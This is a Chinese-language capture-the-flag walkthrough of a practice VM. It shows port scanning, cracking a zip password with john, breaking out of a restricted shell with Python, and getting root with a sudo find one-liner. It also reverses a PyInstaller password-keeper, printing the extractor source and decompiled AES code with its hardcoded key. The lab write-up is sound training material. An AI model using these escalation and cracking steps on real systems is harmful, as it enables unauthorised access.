靶机描述:
1、找到靶机ip:192.168.75.12
nmap -sn 192.168.75.0/24
2、扫描靶机端口
root@chounana:~# nmap -p- -A 192.168.75.12
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-04 16:00 CST
Nmap scan report for 192.168.75.12
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx 1 ftp ftp 306 Oct 06 2018 README.txt [NSE: writeable]
|_-rwxrwxrwx 1 ftp ftp 226 Oct 06 2018 sshpass.zip [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.75.13
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 2048000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 4 disallowed entries
|_/dir/ /passwords/ /facebook_photos /admin/secret
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
65507/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:5b:e6:bb:fd:f6:02:ec:f0:bd:a1:be:b8:97:84:ba (RSA)
| 256 e9:d3:50:26:7e:5a:c2:a0:b0:89:c9:f4:64:d8:aa:b0 (ECDSA)
|_ 256 2e:67:c1:af:cc:22:5c:59:15:5f:97:f7:2e:1b:e0:93 (ED25519)
MAC Address: 08:00:27:93:A8:41 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.75.12
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.95 seconds
3、发现80端口,并且可以看到有robots.txt文件,但是经过访问里面的目录都不存在,所以转攻21端口,ftp连接,一个README.txt文件,一个压缩包
README.txt文件,内容如下,说是有一个ssh密码,并且被加密了,那么应该就是在另外一个压缩包里面
Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password.
Please, once you have read this file, run the following command on your computer to close the FTP server on your side.
IT IS VERY IMPORTANT!! CMD: service ftp stop.
Regards, Michael.
将sshpass.zip下载下来,直接解压缩需要密码(前面也说了),于是尝试爆破密码,最后爆破成功,密码为seahorse!
root@chounana:~/jetty# unzip sshpass.zip
Archive: sshpass.zip
[sshpass.zip] sshpass.txt password:
[1]+ 已停止 unzip sshpass.zip
root@chounana:~/jetty# zip2john sshpass.zip > password.txt
ver 1.0 efh 5455 efh 7875 sshpass.zip/sshpass.txt PKZIP Encr: 2b chk, TS_chk, cmplen=38, decmplen=26, crc=CA21C815
root@chounana:~/jetty# john password.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
root@chounana:~/jetty# john password.txt --show
sshpass.zip/sshpass.txt:seahorse!:sshpass.txt:sshpass.zip::sshpass.zip
1 password hash cracked, 0 left
root@chounana:~/jetty#
解压压缩包查看内容得到一个密码:Squ1d4r3Th3B3$t0fTh3W0rLd
4、在用户名这里有一个小坑,卡且只卡了一下子,最开始以为是readme里面的henry,但是试了不对,就去描述里面看了一下,成功发现用户是squiddie,ssh登录上去(需要使用-p参数修改端口号)
root@chounana:~/jetty# ssh [email protected] -p 65507
[email protected]'s password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
629 packages can be updated.
390 updates are security updates.
New release '20.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
*** System restart required ***
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
squiddie:~$
但是这是一个受限制的shell,先使用?查看一下能使用的命令,发现有python,直接使用python突破限制
后面的python代码也可以用os模块
import os
os.system('/bin/bash')
5、使用sudo -l命令列举,发现可以用root身份执行find命令,那就简单了,一句话提权
sudo find . -exec /bin/sh \; -quit
6、但是,你以为到这里就结束了吗,不不不,就如描述所说的那样,提权到root的难度只是中等,拿到这个用户犯罪的证据才是最关键的
先使用crontab -l查看有没有定时任务,发现还真有
查看文件内容,发现用到一个文件夹,进去看看,发现很多表格文件,应该就是这个了
7、这里需要将这些文件下载到本地,方法有很多,我这里就直接将文件复制到/home/ftp目录下,就是它ftp服务的根目录
打开文件时需要密码
但是可以发现里面有一个Password_keeper文件夹,应该就是存放密码的
database.txt内容:
前面的名字跟表格文件名都对应
instagram T9Y0Ku/oDv80H8CUzBKkwQ==
facebook IXKnuKh73jCOKcEZAaHnIQ==
Accountabilty_not_cooked rbRH72cf3UiHXcmQB6o0OA==
MoneyBalance rRd3m80KzzTik3Eu9BRWy95GsORKwD+adfTUfPLaxVk=
Pending_to_erase aneylFYmV/jz/7g5j+Ck15oreK1VhmaKmTwa8cdSnpY=
usage.txt内容:
Usage:
*Linux: wine password_keeper.exe (database.txt must be in the same folder as the password_keeper.exe)
*Windows: password_keeper.exe (database.txt must be in the same folder as the password_keeper.exe)
This program was compiled using pyinstaller.
database.txt里面保存着密文,那么关键就是password_keeper.exe程序了,下载下来运行一下,有一个查看密码的功能,但是要输入正确的密码才能查看
8、想要得到这个密码,就想到逆向得到程序的源代码,从前面的usage里面和这个exe文件的图标可以知道它是pyinstaller打包的程序,于是使用pyinstxtractor.py进行反编译
"""
PyInstaller Extractor v2.0 (Supports pyinstaller 4.1, 4.0, 3.6, 3.5, 3.4, 3.3, 3.2, 3.1, 3.0, 2.1, 2.0)
Author : Extreme Coders
E-mail : extremecoders(at)hotmail(dot)com
Web : https://0xec.blogspot.com
Date : 26-March-2020
Url : https://github.com/extremecoders-re/pyinstxtractor
For any suggestions, leave a comment on
https://forum.tuts4you.com/topic/34455-pyinstaller-extractor/
This script extracts a pyinstaller generated executable file.
Pyinstaller installation is not needed. The script has it all.
For best results, it is recommended to run this script in the
same version of python as was used to create the executable.
This is just to prevent unmarshalling errors(if any) while
extracting the PYZ archive.
Usage : Just copy this script to the directory where your exe resides
and run the script with the exe file name as a parameter
C:\path\to\exe\>python pyinstxtractor.py
$ /path/to/exe/python pyinstxtractor.py
Licensed under GNU General Public License (GPL) v3.
You are free to modify this source.
CHANGELOG
================================================
Version 1.1 (Jan 28, 2014)
-------------------------------------------------
- First Release
- Supports only pyinstaller 2.0
Version 1.2 (Sept 12, 2015)
-------------------------------------------------
- Added support for pyinstaller 2.1 and 3.0 dev
- Cleaned up code
- Script is now more verbose
- Executable extracted within a dedicated sub-directory
(Support for pyinstaller 3.0 dev is experimental)
Version 1.3 (Dec 12, 2015)
-------------------------------------------------
- Added support for pyinstaller 3.0 final
- Script is compatible with both python 2.x & 3.x (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG)
Version 1.4 (Jan 19, 2016)
-------------------------------------------------
- Fixed a bug when writing pyc files >= version 3.3 (Thanks to Daniello Alto: https://github.com/Djamana)
Version 1.5 (March 1, 2016)
-------------------------------------------------
- Added support for pyinstaller 3.1 (Thanks to Berwyn Hoyt for reporting)
Version 1.6 (Sept 5, 2016)
-------------------------------------------------
- Added support for pyinstaller 3.2
- Extractor will use a random name while extracting unnamed files.
- For encrypted pyz archives it will dump the contents as is. Previously, the tool would fail.
Version 1.7 (March 13, 2017)
-------------------------------------------------
- Made the script compatible with python 2.6 (Thanks to Ross for reporting)
Version 1.8 (April 28, 2017)
-------------------------------------------------
- Support for sub-directories in .pyz files (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG)
Version 1.9 (November 29, 2017)
-------------------------------------------------
- Added support for pyinstaller 3.3
- Display the scripts which are run at entry (Thanks to Michael Gillespie @ malwarehunterteam for the feature request)
Version 2.0 (March 26, 2020)
-------------------------------------------------
- Project migrated to github
- Supports pyinstaller 3.6
- Added support for Python 3.7, 3.8
- The header of all extracted pyc's are now automatically fixed
"""
from __future__ import print_function
import os
import struct
import marshal
import zlib
import sys
from uuid import uuid4 as uniquename
# imp is deprecated in Python3 in favour of importlib
if sys.version_info.major == 3:
from importlib.util import MAGIC_NUMBER
pyc_magic = MAGIC_NUMBER
else:
import imp
pyc_magic = imp.get_magic()
class CTOCEntry:
def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name):
self.position = position
self.cmprsdDataSize = cmprsdDataSize
self.uncmprsdDataSize = uncmprsdDataSize
self.cmprsFlag = cmprsFlag
self.typeCmprsData = typeCmprsData
self.name = name
class PyInstArchive:
PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0
PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+
MAGIC = b'MEI\014\013\012\013\016' # Magic number which identifies pyinstaller
def __init__(self, path):
self.filePath = path
def open(self):
try:
self.fPtr = open(self.filePath, 'rb')
self.fileSize = os.stat(self.filePath).st_size
except:
print('[!] Error: Could not open {0}'.format(self.filePath))
return False
return True
def close(self):
try:
self.fPtr.close()
except:
pass
def checkFile(self):
print('[+] Processing {0}'.format(self.filePath))
# Check if it is a 2.0 archive
self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
magicFromFile = self.fPtr.read(len(self.MAGIC))
if magicFromFile == self.MAGIC:
self.pyinstVer = 20 # pyinstaller 2.0
print('[+] Pyinstaller version: 2.0')
return True
# Check for pyinstaller 2.1+ before bailing out
self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET)
magicFromFile = self.fPtr.read(len(self.MAGIC))
if magicFromFile == self.MAGIC:
print('[+] Pyinstaller version: 2.1+')
self.pyinstVer = 21 # pyinstaller 2.1+
return True
print('[!] Error : Unsupported pyinstaller version or not a pyinstaller archive')
return False
def getCArchiveInfo(self):
try:
if self.pyinstVer == 20:
self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
# Read CArchive cookie
(magic, lengthofPackage, toc, tocLen, self.pyver) = \
struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE))
elif self.pyinstVer == 21:
self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET)
# Read CArchive cookie
(magic, lengthofPackage, toc, tocLen, self.pyver, pylibname) = \
struct.unpack('!8siiii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE))
except:
print('[!] Error : The file is not a pyinstaller archive')
return False
print('[+] Python version: {0}'.format(self.pyver))
# Overlay is the data appended at the end of the PE
self.overlaySize = lengthofPackage
self.overlayPos = self.fileSize - self.overlaySize
self.tableOfContentsPos = self.overlayPos + toc
self.tableOfContentsSize = tocLen
print('[+] Length of package: {0} bytes'.format(self.overlaySize))
return True
def parseTOC(self):
# Go to the table of contents
self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET)
self.tocList = []
parsedLen = 0
# Parse table of contents
while parsedLen < self.tableOfContentsSize:
(entrySize, ) = struct.unpack('!i', self.fPtr.read(4))
nameLen = struct.calcsize('!iiiiBc')
(entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \
struct.unpack( \
'!iiiBc{0}s'.format(entrySize - nameLen), \
self.fPtr.read(entrySize - 4))
name = name.decode('utf-8').rstrip('\0')
if len(name) == 0:
name = str(uniquename())
print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name))
self.tocList.append( \
CTOCEntry( \
self.overlayPos + entryPos, \
cmprsdDataSize, \
uncmprsdDataSize, \
cmprsFlag, \
typeCmprsData, \
name \
))
parsedLen += entrySize
print('[+] Found {0} files in CArchive'.format(len(self.tocList)))
def _writeRawData(self, filepath, data):
nm = filepath.replace('\\', os.path.sep).replace('/', os.path.sep).replace('..', '__')
nmDir = os.path.dirname(nm)
if nmDir != '' and not os.path.exists(nmDir): # Check if path exists, create if not
os.makedirs(nmDir)
with open(nm, 'wb') as f:
f.write(data)
def extractFiles(self):
print('[+] Beginning extraction...please standby')
extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted')
if not os.path.exists(extractionDir):
os.mkdir(extractionDir)
os.chdir(extractionDir)
for entry in self.tocList:
basePath = os.path.dirname(entry.name)
if basePath != '':
# Check if path exists, create if not
if not os.path.exists(basePath):
os.makedirs(basePath)
self.fPtr.seek(entry.position, os.SEEK_SET)
data = self.fPtr.read(entry.cmprsdDataSize)
if entry.cmprsFlag == 1:
data = zlib.decompress(data)
# Malware may tamper with the uncompressed size
# Comment out the assertion in such a case
assert len(data) == entry.uncmprsdDataSize # Sanity Check
if entry.typeCmprsData == b's':
# s -> ARCHIVE_ITEM_PYSOURCE
# Entry point are expected to be python scripts
print('[+] Possible entry point: {0}.pyc'.format(entry.name))
self._writePyc(entry.name + '.pyc', data)
elif entry.typeCmprsData == b'M' or entry.typeCmprsData == b'm':
# M -> ARCHIVE_ITEM_PYPACKAGE
# m -> ARCHIVE_ITEM_PYMODULE
# packages and modules are pyc files with their header's intact
self._writeRawData(entry.name + '.pyc', data)
else:
self._writeRawData(entry.name, data)
if entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z':
self._extractPyz(entry.name)
def _writePyc(self, filename, data):
with open(filename, 'wb') as pycFile:
pycFile.write(pyc_magic) # pyc magic
if self.pyver >= 37: # PEP 552 -- Deterministic pycs
pycFile.write(b'\0' * 4) # Bitfield
pycFile.write(b'\0' * 8) # (Timestamp + size) || hash
else:
pycFile.write(b'\0' * 4) # Timestamp
if self.pyver >= 33:
pycFile.write(b'\0' * 4) # Size parameter added in Python 3.3
pycFile.write(data)
def _extractPyz(self, name):
dirName = name + '_extracted'
# Create a directory for the contents of the pyz
if not os.path.exists(dirName):
os.mkdir(dirName)
with open(name, 'rb') as f:
pyzMagic = f.read(4)
assert pyzMagic == b'PYZ\0' # Sanity Check
pycHeader = f.read(4) # Python magic value
# Skip PYZ extraction if not running under the same python version
if pyc_magic != pycHeader:
print('[!] Warning: This script is running in a different Python version than the one used to build the executable.')
print('[!] Please run this script in Python{0} to prevent extraction errors during unmarshalling'.format(self.pyver))
print('[!] Skipping pyz extraction')
return
(tocPosition, ) = struct.unpack('!i', f.read(4))
f.seek(tocPosition, os.SEEK_SET)
try:
toc = marshal.load(f)
except:
print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name))
return
print('[+] Found {0} files in PYZ archive'.format(len(toc)))
# From pyinstaller 3.1+ toc is a list of tuples
if type(toc) == list:
toc = dict(toc)
for key in toc.keys():
(ispkg, pos, length) = toc[key]
f.seek(pos, os.SEEK_SET)
fileName = key
try:
# for Python > 3.3 some keys are bytes object some are str object
fileName = fileName.decode('utf-8')
except:
pass
# Prevent writing outside dirName
fileName = fileName.replace('..', '__').replace('.', os.path.sep)
if ispkg == 1:
filePath = os.path.join(dirName, fileName, '__init__.pyc')
else:
filePath = os.path.join(dirName, fileName + '.pyc')
fileDir = os.path.dirname(filePath)
if not os.path.exists(fileDir):
os.makedirs(fileDir)
try:
data = f.read(length)
data = zlib.decompress(data)
except:
print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(filePath))
open(filePath + '.encrypted', 'wb').write(data)
else:
self._writePyc(filePath, data)
def main():
if len(sys.argv) < 2:
print('[+] Usage: pyinstxtractor.py ')
else:
arch = PyInstArchive(sys.argv[1])
if arch.open():
if arch.checkFile():
if arch.getCArchiveInfo():
arch.parseTOC()
arch.extractFiles()
arch.close()
print('[+] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1]))
print('')
print('You can now use a python decompiler on the pyc files within the extracted directory')
return
arch.close()
if __name__ == '__main__':
main()
使用方法:将pyinstxtractor.py文件和程序放在同一文件夹下,使用python pyinstxtractor.py password_keeper.exe命令,就会在同一目录下产生一个password_keeper.exe_extracted目录,在目录下找到关键pyc文件也就是password_keeper.pyc,再将这个文件反编译,命令如下
pip install uncompyle
uncompyle6 .\password_keeper.pyc > 1.py
于是就可以在当前目录下发现1.py,得到源代码
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: password_keeper.py
from Cryptodome.Cipher import AES
import base64
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[0:-ord(s[(-1)])]
def cipher_message(key, message, iv):
message = pad(message)
key = base64.b64decode(key)
obj = AES.new(key, AES.MODE_CBC, iv)
ciphertext = obj.encrypt(message)
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def decipher_message(key, ciphertext, iv):
ciphertext = base64.b64decode(ciphertext)
key = base64.b64decode(key)
obj2 = AES.new(key, AES.MODE_CBC, iv)
decipher_text = obj2.decrypt(ciphertext)
decipher_text = unpad(decipher_text)
return decipher_text
def generate_key(ciphertext, tag, key, iv):
ciphertext = cipher_message(key, ciphertext, iv)
print ''
print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)"
print ''
print 'Tag Password'
print tag + ' ' + ciphertext
def show_keys(database, key, iv):
check_permissions = raw_input('Insert password: ')
if base64.b64encode(check_permissions) == key:
for i in range(len(database[0])):
ciphertext = database[1][i]
decipher = decipher_message(key, ciphertext, iv)
print ' '
print 'Tag: ' + database[0][i] + ' Password: ' + decipher
print ' '
else:
print ''
print 'Tag: Instagram Password: WRONG '
print 'Tag: Facebook Password: PASSWORD '
print 'Tag: SSH Password: TRY '
print 'Tag: root Password: HARDER! '
print ''
def read_database():
database = [[], []]
f = open('database.txt', 'r')
for line in f.readlines():
line = line.strip().split()
database[0].append(line[0])
database[1].append(line[1])
f.close()
return database
def main():
print 'Welcome to the best password keeper ever!'
print '__ __ _ _ __ '
print '\\ \\ / /__ __ _| | ___ _ | |/ /___ ___ _ __ ___ _ __ '
print " \\ \\ /\\ / / _ \\/ _` | |/ / | | |_____| ' // _ \\/ _ \\ '_ \\ / _ \\ '__|"
print ' \\ V V / __/ (_| | <| |_| |_____| . \\ __/ __/ |_) | __/ | '
print ' \\_/\\_/ \\___|\\__,_|_|\\_\\__, | |_|\\_\\___|\\___| .__/ \\___|_| '
print ' |___/ |_| '
iv = '166fe2294df5d0f3'
key = 'N2FlMjE4ZmYyOTI4ZjZiMg=='
database = read_database()
loop = True
while loop:
print ''
print 'Choose what you want to do: '
print '1) See your passwords!'
print '2) Generate a cipher-password'
print '3) Close'
option = raw_input('Insert your selection here --> ')
if option == '1':
print ''
print 'Showing content of your secret passwords...'
print ''
show_keys(database, key, iv)
print ''
returned = raw_input('Press any button to return to the menu...')
elif option == '2':
print ''
print ''
title = raw_input('Type the name of the application: ')
password = raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ')
generate_key(password, title, key, iv)
print ''
print ''
returned = raw_input('Press any button to return to the menu...')
else:
if option == '3':
loop = False
print ''
return 'Bye Byeeeeeeeeeeeee'
print ''
print ''
print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...'
print ''
print ''
returned = raw_input('Press any button to return to the menu...')
if __name__ == '__main__':
print main()
# okay decompiling .\password_keeper.pyc
核心代码,输入1调用show_keys函数,然后再将我们输入的密码经过base64编码后得到的密文和N2FlMjE4ZmYyOTI4ZjZiMg==进行比较,一样就会输出密码,于是将这串密文base64解码得到7ae218ff2928f6b2
输入得到表格加密的密码
9、犯罪证据如下
MoneyBalance.xlsx:C5Y0wzGqq4Xw8XGD,总共赚的钱,11月赚了140欧元
AccountabiltyReportMorning-1112018.xlsx:没有密码,因为这个是给老板看的修改过后的正常的账单
Accountabilty_not_cooked.xlsx:co8oiads13kt,未修改过的账单
Pending_to_erase.xlsx: 1hi2ChHrtkQsUTOc,准备消除证据的表格